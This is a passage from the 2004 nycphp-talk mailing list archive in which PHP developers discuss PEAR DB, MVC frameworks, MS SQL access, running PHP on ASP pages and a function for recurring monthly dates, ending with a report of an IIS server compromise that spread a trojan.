Jun 2004 07:34:27 -0400 Subject: [nycphp-talk] new pear db article in php magazine In-Reply-To: <20040624075441.GB17663@panix.com> References: <20040624075441.GB17663@panix.com> Message-ID: <20040624113427.GC2140@jonbaer.net> This is an excellent article and really hits the nail on the end w/ the mysqli warning ... *however* ... I still can't figure out a good reason why the class is *not* built-in to PHP yet ... I can understand its a changing and evolving item but it would really help avoid issues in the future ... It would be nice to find it (or a variant of some kind) in the SPL. - Jon On Thu, Jun 24, 2004 at 03:54:41AM -0400, Daniel Convissor wrote: > I wrote an article, "PEAR DB: Ripe for the Picking," for the 04.2004 issue > of PHP Magazine. The new issue is out and the article is also available > online at > http://www.phpmag.net/itr/online_artikel/psecom,id,585,nodeid,114.html -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From Rafi.Sheikh at Ingenix.com Thu Jun 24 08:43:16 2004 From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh) Date: Thu, 24 Jun 2004 07:43:16 -0500 Subject: [nycphp-talk] FreeTDS for AIX 5.1 Message-ID: Hi List. Has any one installed FreeTDS, specifically on AIX 5.1, for use with PHP (to enable mssql?). Or, if any one has some other working solution. Any hint is appreciated. RS This e-mail, including attachments, may include confidential and/or proprietary information, and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately. From sm11szw02 at sneakemail.com Thu Jun 24 09:05:30 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Thu, 24 Jun 2004 09:05:30 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624065055.35226.qmail@web52801.mail.yahoo.com> References: <20040624065055.35226.qmail@web52801.mail.yahoo.com> Message-ID: <12420-03682@sneakemail.com> Chris Shiflett shiflett-at-php.net |nyphp 04/2004| wrote: >--- Daniel Convissor wrote: > > >>Please take a moment to check this out: >>http://www.securityfocus.com/columnists/249 >> >> > >Nice article. > >There's one big point that he gets wrong, and that is the suggestion that >Microsoft fixes the security vulnerabilities in IE. I wish I could find >the link (can anyone help me out here?), but there is a site that keeps a >list of the unpatched vulnerabilities in the latest IE, and it always has >plenty (50 or more). If anyone knows the URL, it might be nice to pass it >along to the author. > > > "Unpatched Internet Explorer Bugs" from "trick Internet Explorer" on Safecenter.net (Liu Die Yu) http://www.safecenter.net/UMBRELLAWEBV4/ie_unpatched/index.html (beware - BACK button disabled) -=john From tgales at tgaconnect.com Thu Jun 24 10:09:38 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 24 Jun 2004 10:09:38 -0400 Subject: [nycphp-talk] Karma Discounts on Security Seminar In-Reply-To: Message-ID: <001a01c459f4$e34af810$e98d3818@oberon1> David Mintz writes: > > Tim, why not also require payment in advance and establish a > reasonable refund policy? Then you get instant karmic > retribution for not showing ...in a sense. > The way in which I am developing the training seminars can appear decidedly un-business-like. The reason behind the (un-business-like) development of the series is that I have to be careful how I view the seminars. If I look at them too much as a business my competitive spirit may get the better of me. I am afraid that I might fall into a trap of trying to optimize profit contribution etc. and lose sight of the real purpose (helping people get information which will result in them doing better work). This could happen. Recently I entered a competition where I didn't even think about the prize. All I heard was: "If you answer the following question you can win...". Since we are on the topic of cosmic retribution, I can tell you payback was swift -- I had to endure considerable raillery later for 'competing just for competition's sake.' T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jeff at newnewmedia.com Thu Jun 24 10:33:29 2004 From: jeff at newnewmedia.com (jeff at newnewmedia.com) Date: Thu, 24 Jun 2004 10:33:29 -0400 (EDT) Subject: [nycphp-talk] PHP MVC Message-ID: <15496.69.138.131.166.1088087609.squirrel@www.newnewmedia.com> Thanks for the links. I guess my real question was, has anyone used MVC frameworks for either PHP4 or PHP5? >From hans not junk at nyphp.com Thu Jun 24 10:40:53 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id DBDE1A8779 for ; Thu, 24 Jun 2004 10:40:52 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Thu, 24 Jun 2004 07:32:55 -0700 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Subject: RE: [nycphp-talk] PHP MVC Date: Thu, 24 Jun 2004 07:40:49 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702BAA308 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] PHP MVC Thread-Index: AcRZ96Vaf+h9bpfbT3GQ+JD32il7pgAAW3+g From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 24 Jun 2004 14:32:55.0788 (UTC) FILETIME=[23A342C0:01C459F8] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Jun 2004 14:40:53 -0000 > Thanks for the links. I guess my real question was, has=20 > anyone used MVC frameworks for either PHP4 or PHP5? Although dated, we had a presentation on this some time ago. http://nyphp.org/content/presentations/index.php See the last presentation on the page. H From crisscott at netzero.com Thu Jun 24 10:48:27 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Thu, 24 Jun 2004 10:48:27 -0400 Subject: [nycphp-talk] PHP MVC In-Reply-To: <15496.69.138.131.166.1088087609.squirrel@www.newnewmedia.com> References: <15496.69.138.131.166.1088087609.squirrel@www.newnewmedia.com> Message-ID: <40DAE9BB.6010406@netzero.com> jeff at newnewmedia.com wrote: > Thanks for the links. I guess my real question was, has anyone used MVC > frameworks for either PHP4 or PHP5? We use a homegrown MVC framework for yamahamusicsoft.com (PHP 4) as well as a few other sites. I love it. When we want to add a new page we just create a few small files and tell them who they need to talk to. It makes development of large sites pretty quick and easy. Scott Mattocks From dorgan at optonline.net Thu Jun 24 10:54:41 2004 From: dorgan at optonline.net (dorgan at optonline.net) Date: Thu, 24 Jun 2004 10:54:41 -0400 Subject: [nycphp-talk] MS SQL Web Interface Message-ID: <31757b3186b7.3186b731757b@optonline.net> Does anyone know of any solutions that offer a web interface to ms sql servers? >From hans not junk at nyphp.com Thu Jun 24 10:55:48 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 6D53BA86C5 for ; Thu, 24 Jun 2004 10:55:48 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Thu, 24 Jun 2004 07:47:51 -0700 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Subject: RE: [nycphp-talk] FreeTDS for AIX 5.1 Date: Thu, 24 Jun 2004 07:55:43 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702BAA334 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] FreeTDS for AIX 5.1 Thread-Index: AcRZ6Nhg/lMQ5B/CTcikzPNbBE74kQAEmT2w From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 24 Jun 2004 14:47:51.0478 (UTC) FILETIME=[3982B560:01C459FA] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Jun 2004 14:55:48 -0000 > Hi List. Has any one installed FreeTDS, specifically on AIX=20 > 5.1, for use with PHP (to enable mssql?). Or, if any one has=20 > some other working solution. Any hint is appreciated. I haven't.. it's not a very common environment from what I've seen. What problems are you having specifically? H From dmintz at davidmintz.org Thu Jun 24 10:56:14 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 24 Jun 2004 10:56:14 -0400 (EDT) Subject: [nycphp-talk] time to dump IE In-Reply-To: <000c01c459e6$02100150$e98d3818@oberon1> References: <000c01c459e6$02100150$e98d3818@oberon1> Message-ID: Tim Gales wrote: > > You should read some of the tripe entitled (something like): > "The Truth About Open Source Software" from MS. > Heh. Now that you mention it (slashdot fans, forgive me if you've already seen this): +--------------------------------------------------------------------+ | When Think Tanks Attack | | from the spreading-it-thick dept. | | posted by timothy on Wednesday June 23, @07:53 (microsoft) | | http://slashdot.org/article.pl?sid=04/06/23/0821219 | +--------------------------------------------------------------------+ x1048576 writes "The [0]Alexis de Tocqueville Institution is only one of a dozen different think tanks that have attacked Open Source. Why are all these think tanks so down on Open Source? Well, the [1]Small Business Survival Committee is concerned that using open source will expose small business to the risk of lawsuits. [2]Citizens Against Government Waste is concerned that the government might waste money on Open Source. [3]Defenders of Property Rights is concerned that Open Source might be a threat to intellectual property rights. However, I was able to detect a common theme to all their criticism. [4]They all seem to be funded by Microsoft." Discuss this story at: http://slashdot.org/comments.pl?sid=04/06/23/0821219 Links: 0. http://adti.net/ 1. http://sbsc.org/ 2. http://www.cagw.org/ 3. http://www.yourpropertyrights.org/ 4. http://www.cse.unsw.edu.au/~lambert/blog/computers/tanks.html --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 >From hans not junk at nyphp.com Thu Jun 24 11:01:02 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 98CAEA86C5 for ; Thu, 24 Jun 2004 11:01:02 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Thu, 24 Jun 2004 07:53:05 -0700 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Subject: RE: [nycphp-talk] MS SQL Web Interface Date: Thu, 24 Jun 2004 08:00:59 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702BAA347 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] MS SQL Web Interface Thread-Index: AcRZ+0L+Qh6PaG0jTR2d6c7A378hQQAAGs3g From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 24 Jun 2004 14:53:05.0494 (UTC) FILETIME=[F4ADBF60:01C459FA] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Jun 2004 15:01:03 -0000 > Does anyone know of any solutions that offer a web interface=20 > to ms sql servers? http://www.google.com/search?&q=3Dmssql+web+interface http://www.databasejournal.com/features/mssql/article.php/3330301 Google does amazing things... H From dmintz at davidmintz.org Thu Jun 24 11:02:33 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 24 Jun 2004 11:02:33 -0400 (EDT) Subject: [nycphp-talk] Karma Discounts on Security Seminar In-Reply-To: <001a01c459f4$e34af810$e98d3818@oberon1> References: <001a01c459f4$e34af810$e98d3818@oberon1> Message-ID: On Thu, 24 Jun 2004, Tim Gales wrote: > > > Recently I entered a competition where I didn't > even think about the prize. All I heard was: > "If you answer the following question you can win...". Me too! What a coincidence. I turned right around and gave my prize away some paparazzo (-: > > Since we are on the topic of cosmic retribution, > I can tell you payback was swift -- I had to > endure considerable raillery later for 'competing > just for competition's sake.' > Who can resist? Especially a geek challenge like the one you allude to. --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From dorgan at optonline.net Thu Jun 24 11:03:37 2004 From: dorgan at optonline.net (dorgan at optonline.net) Date: Thu, 24 Jun 2004 11:03:37 -0400 Subject: [nycphp-talk] MS SQL Web Interface Message-ID: <3115c4314317.3143173115c4@optonline.net> I need something that will run on linux ----- Original Message ----- From: Hans Zaunere Date: Thursday, June 24, 2004 11:00 am Subject: RE: [nycphp-talk] MS SQL Web Interface > > > Does anyone know of any solutions that offer a web interface > > to ms sql servers? > > http://www.google.com/search?&q=mssql+web+interface > > http://www.databasejournal.com/features/mssql/article.php/3330301 > > Google does amazing things... > > H > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From list at harveyk.com Thu Jun 24 11:09:33 2004 From: list at harveyk.com (harvey) Date: Thu, 24 Jun 2004 11:09:33 -0400 Subject: [nycphp-talk] MS SQL Web Interface References: <31757b3186b7.3186b731757b@optonline.net> Message-ID: <09ca01c459fd$47cef540$0200a8c0@desktop> Google. I think the below is what you're looking for? March 31, 2004 Web Data Administration Tool from Microsoft By Gregory A. Larsen http://www.databasejournal.com/features/mssql/article.php/3330301 ----- Original Message ----- From: To: Sent: Thursday, June 24, 2004 10:54 AM Subject: [nycphp-talk] MS SQL Web Interface > Does anyone know of any solutions that offer a web interface to ms sql servers? > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From nyphp at enobrev.com Thu Jun 24 11:11:02 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Thu, 24 Jun 2004 11:11:02 -0400 Subject: [nycphp-talk] PHP MVC In-Reply-To: <15496.69.138.131.166.1088087609.squirrel@www.newnewmedia.com> Message-ID: <20040624151114.E6D7AA8635@virtu.nyphp.org> I haven't gone in quite some time, but I recall the sitepoint forums used to have hundreds of MVC threads in their Advanced PHP boards. (should be pretty easy to find) Mark > -----Original Message----- > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of > jeff at newnewmedia.com > Sent: Thursday, June 24, 2004 10:33 AM > To: talk at lists.nyphp.org > Subject: [nycphp-talk] PHP MVC > > Thanks for the links. I guess my real question was, has > anyone used MVC frameworks for either PHP4 or PHP5? > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From Kbedi at inta.org Thu Jun 24 14:15:13 2004 From: Kbedi at inta.org (Kshitij Bedi) Date: Thu, 24 Jun 2004 14:15:13 -0400 Subject: [nycphp-talk] Run PHP on ASP page Message-ID: Does anyone know how to execute PHP code on an ASP page? From dmintz at davidmintz.org Thu Jun 24 14:37:47 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 24 Jun 2004 14:37:47 -0400 (EDT) Subject: [nycphp-talk] Run PHP on ASP page In-Reply-To: References: Message-ID: On Thu, 24 Jun 2004, Kshitij Bedi wrote: > Does anyone know how to execute PHP code on an ASP page? Add this to your httpd.conf (-: ? AddType application/x-httpd-php .php .asp --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From krook at us.ibm.com Thu Jun 24 14:50:34 2004 From: krook at us.ibm.com (Daniel Krook) Date: Thu, 24 Jun 2004 14:50:34 -0400 Subject: [nycphp-talk] Run PHP on ASP page In-Reply-To: Message-ID: > Does anyone know how to execute PHP code on an ASP page? If you have an IIS server set up for PHP, you can use an #include virtual/file directive in an ASP page and give it the name of your PHP file. It will be run through the PHP engine at the point at which you included it and return its results to the ASP page for continued processing. Daniel Krook, Application Developer WW Web Production Services North 2, ibm.com 1133 Westchester Avenue, White Plains, NY 10604 Personal: http://info.krook.org/ Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=9A9796897 -------------- next part -------------- An HTML attachment was scrubbed... URL: From drydell at att.net Thu Jun 24 14:52:09 2004 From: drydell at att.net (drydell at att.net) Date: Thu, 24 Jun 2004 18:52:09 +0000 Subject: [nycphp-talk] Run PHP on ASP page Message-ID: <062420041852.35.40DB22D900000FE300000023216028106004040A0B979D0B@att.net> actually, if he's running ASP it's probably under IIS, not Apache... adding PHP support to IIS is straightforward and well documented, done through the IIS Admin tool > > Add this to your httpd.conf (-: ? > > AddType application/x-httpd-php .php .asp > -------------- next part -------------- An HTML attachment was scrubbed... URL: From joel at tagword.com Thu Jun 24 17:05:49 2004 From: joel at tagword.com (Joel De Gan) Date: Thu, 24 Jun 2004 17:05:49 -0400 Subject: [nycphp-talk] soulseek file sharing protocol bot in PHP Message-ID: <1088111149.19944.50.camel@bezel> I am releasing this today: http://soulreactor.com/source/ previously closed source, but is an excellent example of how to create a protocol analyzer in PHP. This represents several weeks of work at this beginning of this year in trying to reverse-engineer a filesharing protocol and this is the first time I releasing this code. Cheers -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From dmintz at davidmintz.org Thu Jun 24 16:25:04 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 24 Jun 2004 16:25:04 -0400 (EDT) Subject: [nycphp-talk] Run PHP on ASP page In-Reply-To: <062420041852.35.40DB22D900000FE300000023216028106004040A0B979D0B@att.net> References: <062420041852.35.40DB22D900000FE300000023216028106004040A0B979D0B@att.net> Message-ID: On Thu, 24 Jun 2004 drydell at att.net wrote: > actually, if he's running ASP it's probably under IIS, not Apache... adding PHP support to IIS is straightforward and well documented, done through the IIS Admin tool > (Yeah, I know, I was being a wise-ass AMP bigot. Sorry.) --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From jeffknight at mac.com Thu Jun 24 16:43:52 2004 From: jeffknight at mac.com (putamare) Date: Thu, 24 Jun 2004 16:43:52 -0400 Subject: [nycphp-talk] Run PHP on ASP page In-Reply-To: References: <062420041852.35.40DB22D900000FE300000023216028106004040A0B979D0B@att.net> Message-ID: <33FB900A-C61F-11D8-A01B-000393B9FB36@mac.com> On Jun 24, 2004, at 4:25 PM, David Mintz wrote: > (Yeah, I know, I was being a wise-ass AMP bigot. Sorry.) made me laugh, but then again I have similar stripes. Jeff Knight putamare not junk at putamare.net From sm11szw02 at sneakemail.com Fri Jun 25 10:15:42 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 25 Jun 2004 10:15:42 -0400 Subject: [nycphp-talk] Run PHP on ASP page In-Reply-To: <33FB900A-C61F-11D8-A01B-000393B9FB36@mac.com> References: <062420041852.35.40DB22D900000FE300000023216028106004040A0B979D0B@att.net> <33FB900A-C61F-11D8-A01B-000393B9FB36@mac.com> Message-ID: <28523-45665@sneakemail.com> putamare jeffknight-at-mac.com |nyphp 04/2004| wrote: > On Jun 24, 2004, at 4:25 PM, David Mintz wrote: > >> (Yeah, I know, I was being a wise-ass AMP bigot. Sorry.) > > > made me laugh, but then again I have similar stripes. > > Jeff Knight > putamare not junk at putamare.net Is this good for the next round of advertising? New York PHP PHP training, talk lists, and wise ass AMP bigots. Free! http://www.nyphp.org From dmintz at davidmintz.org Fri Jun 25 12:08:42 2004 From: dmintz at davidmintz.org (David Mintz) Date: Fri, 25 Jun 2004 12:08:42 -0400 (EDT) Subject: [nycphp-talk] Run PHP on ASP page In-Reply-To: <28523-45665@sneakemail.com> References: <062420041852.35.40DB22D900000FE300000023216028106004040A0B979D0B@att.net> <33FB900A-C61F-11D8-A01B-000393B9FB36@mac.com> <28523-45665@sneakemail.com> Message-ID: On Fri, 25 Jun 2004, inforequest wrote: > > > Is this good for the next round of advertising? > > New York PHP > PHP training, talk lists, and > wise ass AMP bigots. Free! > http://www.nyphp.org I say it's time for a new acronym: WAAMPB ---- David Mintz, Just Another WAAMPB http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 >From hans not junk at nyphp.com Fri Jun 25 12:11:30 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id C144FA85F3 for ; Fri, 25 Jun 2004 12:11:29 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Fri, 25 Jun 2004 09:03:30 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C45ACF.121E0A8A" Date: Fri, 25 Jun 2004 09:11:26 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702C53EBE at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: Recurring Monthly Calculations Thread-Index: AcRazxFVw60YmEWDT2WHuALaTH8CjA== From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 25 Jun 2004 16:03:30.0088 (UTC) FILETIME=[F5256280:01C45ACD] Subject: [nycphp-talk] Recurring Monthly Calculations X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Jun 2004 16:11:30 -0000 This is a multi-part message in MIME format. ------_=_NextPart_001_01C45ACF.121E0A8A Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hey all, I needed to write a function that will tell me the dates of future events that recurr monthly by day of month. So for instance, "4th Tuesday of the month for the next 6 months" It ended up to be more difficult than I thought and I wanted to run the function past you guys. See attached. Am I missing some clever way of doing this? The function seems to work, but another set of eyes would be helpful - and it depends on UNIX timestamps, so... The function is called as: recurMonthlyByDay(2,4,20030522,23); Which would return an array listing the 4th Tuesday, starting in May of 2003, for the next 23 months. If you specify the second argument to be greater than 5, then the last Tuesday would always be returned. Thanks guys... feel free to use the function, too (that is, if it works) H ------_=_NextPart_001_01C45ACF.121E0A8A Content-Type: application/octet-stream; name="RecurMonthlyByDay.inc" Content-Transfer-Encoding: base64 Content-Description: RecurMonthlyByDay.inc Content-Disposition: attachment; filename="RecurMonthlyByDay.inc" CmZ1bmN0aW9uIFJlY3VyTW9udGhseUJ5RGF5KCAkcmVjdXJvbiwkcmVjdXJhdCwkc3RhcnRhdCA9 IE5VTEwsJGNvdW50ID0gTlVMTCApIHsKCiAgIGlmKCAhJHN0YXJ0YXQgKQogICAgICAkc3RhcnRh dCA9IChpbnQpIGRhdGUoJ1ltZCcpOwoKICAgJFkgPSAoaW50KSBmbG9vcigkc3RhcnRhdC8xMDAw MCk7CiAgICRNID0gKGludCkgZmxvb3IoKCRzdGFydGF0LSgkWSoxMDAwMCkpLzEwMCk7CgogICBp ZiggISRjb3VudCApCiAgICAgICRjb3VudCA9IDE7CgogICBmb3IoICRpID0gMCwkcmVjdXJzID0g YXJyYXkoKTsgJGkgPCAkY291bnQ7ICsrJGkgKSB7CgogICAgICAkWU1EID0gKCRZKjEwMDAwKSso JE0qMTAwKSsxOwoKICAgICAgJHltZHRzID0gc3RydG90aW1lKCRZTUQpOwoKICAgICAgJGZpcnN0 b2Ztb250aCA9IChpbnQpIGRhdGUoJ3cnLCR5bWR0cyk7CiAgICAgICRkYXlzaW5tb250aCA9IChp bnQpIGRhdGUoJ3QnLCR5bWR0cyk7CiAgICAgICRyZWN1cnNbJGldID0gKCRyZWN1cm9uLSRmaXJz dG9mbW9udGgpICsgMTsKICAgICAgaWYoICRyZWN1cnNbJGldIDw9IDAgKQogICAgICAgICAkcmVj dXJzWyRpXSArPSA3OwoKICAgICAgZm9yKCAkaiA9IDE7ICgkcmVjdXJzWyRpXSA8PSAkZGF5c2lu bW9udGgpICYmICgkaiA8ICRyZWN1cmF0KTsgKyskaiApCiAgICAgICAgICRyZWN1cnNbJGldICs9 IDc7CgogICAgICBpZiggJHJlY3VyYXQgPiA1ICkKICAgICAgICAgJHJlY3Vyc1skaV0gLT0gNzsK CiAgICAgIGlmKCAkcmVjdXJzWyRpXSA+ICRkYXlzaW5tb250aCApCiAgICAgICAgICRyZWN1cnNb JGldID0gTlVMTDsKICAgICAgZWxzZQogICAgICAgICAkcmVjdXJzWyRpXSArPSAkWU1ELTE7Cgog ICAgICBpZiggKyskTSA+IDEyICkgewogICAgICAgICAkTSA9IDE7CiAgICAgICAgICsrJFk7CiAg ICAgIH0KICAgfQoKICAgcmV0dXJuICRyZWN1cnM7Cn0KCgo= ------_=_NextPart_001_01C45ACF.121E0A8A-- From mitchy at spacemonkeylabs.com Fri Jun 25 12:28:30 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Fri, 25 Jun 2004 12:28:30 -0400 Subject: [nycphp-talk] Recurring Monthly Calculations In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> Message-ID: <40DC52AE.4090403@spacemonkeylabs.com> Hans Zaunere wrote: >Hey all, > >I needed to write a function that will tell me the dates of future >events that recurr monthly by day of month. So for instance, "4th >Tuesday of the month for the next 6 months" > > Out of curiosity, why not use PEAR::Calendar? http://pear.php.net/manual/en/package.datetime.php Seems to enable the kind of logical loops that you are shooting for, right? -- Mitch From Kbedi at inta.org Fri Jun 25 12:39:00 2004 From: Kbedi at inta.org (Kshitij Bedi) Date: Fri, 25 Jun 2004 12:39:00 -0400 Subject: [nycphp-talk] Recurring Monthly Calculations Message-ID: This is something I wrote for recurring events You can choose a date from when the event starts to occur ($month,$day,$year) and then till when to run($month2,$day2,$year2) It can run for daily weekly biweekly or monthly. I hope it helps you out ---------------------------------------------------------------------------- ----------------- //$repeat day is 1 through 7 for each day of the week starting from Monday you want the even to occur //$occurence=1 (Daily) //=7(weekly) = //14(biweekly) //=28 (Monthly) //skip saturday and sunday $arrskipdays=array(0,6); //$month,$day,$year is when the events starts to occur and $month2,$day2,$year2 is until when //The loop will run for each day of the week requested which is stored in $repeatday. foreach ($repeatday as $value) { //Difference between today and the day the event should start from. $daydiff=$value - intval(date("w",mktime (0,0,0,$month, $day, $year))); //if day difference is less than zero than that means that the day should start from next week. if ($daydiff<0) $daydiff+=7; $counter=0; //occurring weekly biweekly or monthly. while($counter<=$diff) { //Only insert if resulting date is less or equal to the final date. if (mktime (0,0,0,$month, ($day + $daydiff + $counter), $year)<=mktime(0,0,0,$month2,$day2,$year2)) { if(!in_array(intval(date("w",mktime (0,0,0,$month, ($day + $counter), $year))),$arrskipdays)) { echo date("Y-m-d",mktime(0,0,0,$month, ($day + $daydiff + $counter), $year)); $counter=$counter + $occurrence; } } } } -----Original Message----- From: Hans Zaunere [mailto:hans not junk at nyphp.com] Sent: Friday, June 25, 2004 12:11 PM To: NYPHP Talk Subject: [nycphp-talk] Recurring Monthly Calculations Hey all, I needed to write a function that will tell me the dates of future events that recurr monthly by day of month. So for instance, "4th Tuesday of the month for the next 6 months" It ended up to be more difficult than I thought and I wanted to run the function past you guys. See attached. Am I missing some clever way of doing this? The function seems to work, but another set of eyes would be helpful - and it depends on UNIX timestamps, so... The function is called as: recurMonthlyByDay(2,4,20030522,23); Which would return an array listing the 4th Tuesday, starting in May of 2003, for the next 23 months. If you specify the second argument to be greater than 5, then the last Tuesday would always be returned. Thanks guys... feel free to use the function, too (that is, if it works) H << File: RecurMonthlyByDay.inc >> << File: ATT141846.txt >> From crisscott at netzero.com Fri Jun 25 12:35:33 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Fri, 25 Jun 2004 12:35:33 -0400 Subject: [nycphp-talk] Recurring Monthly Calculations In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> Message-ID: <40DC5455.7060007@netzero.com> I googled for 'calculate third tuesday month' and got some results that might help you. They are in all sorts of languages but you should be able to pull out a good algorithm. PHP - http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=hgnpev8r8l19qcq5c3llic7iqn1ua3l77l%404ax.com PHP - http://mdlug.org/pipermail/mdlug/2004-February/001638.html (Make sure you see the follow up to that one.) Javascript - http://developer.irt.org/script/613.htm VBA - http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=MPG.10d83d038d0503509897af%40msnews.microsoft.com From sm11szw02 at sneakemail.com Fri Jun 25 12:40:55 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 25 Jun 2004 12:40:55 -0400 Subject: [nycphp-talk] IIS server exploit with malicious js injection spawned during PHP Security Seminar In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> Message-ID: <32416-37809@sneakemail.com> Well, after an excellent 2.5 hours of practical PHP security training from Mr. Shiflett last night (thanks tgaconnect!), I check my email and learn that a server exploit has injected malicious js code into footers of website pages, with the js designed to exploit an M$ IE flaw, secretely downloading the Scob trojan http://www.microsoft.com/security/incident/download_ject.mspx and http://www.f-secure.com/weblog/ Wow.... talk about timing! In hour 2 last night Chris Shiflett explained and demonstrated cross site scripting vulnerabilities and cross site request forgeries - along with several clever means used by villains to get the js code onto so-called "secure" systems so it could be unknowingly redistributed (and of course, we learned how to prevent that with good PHP practices :-). Now 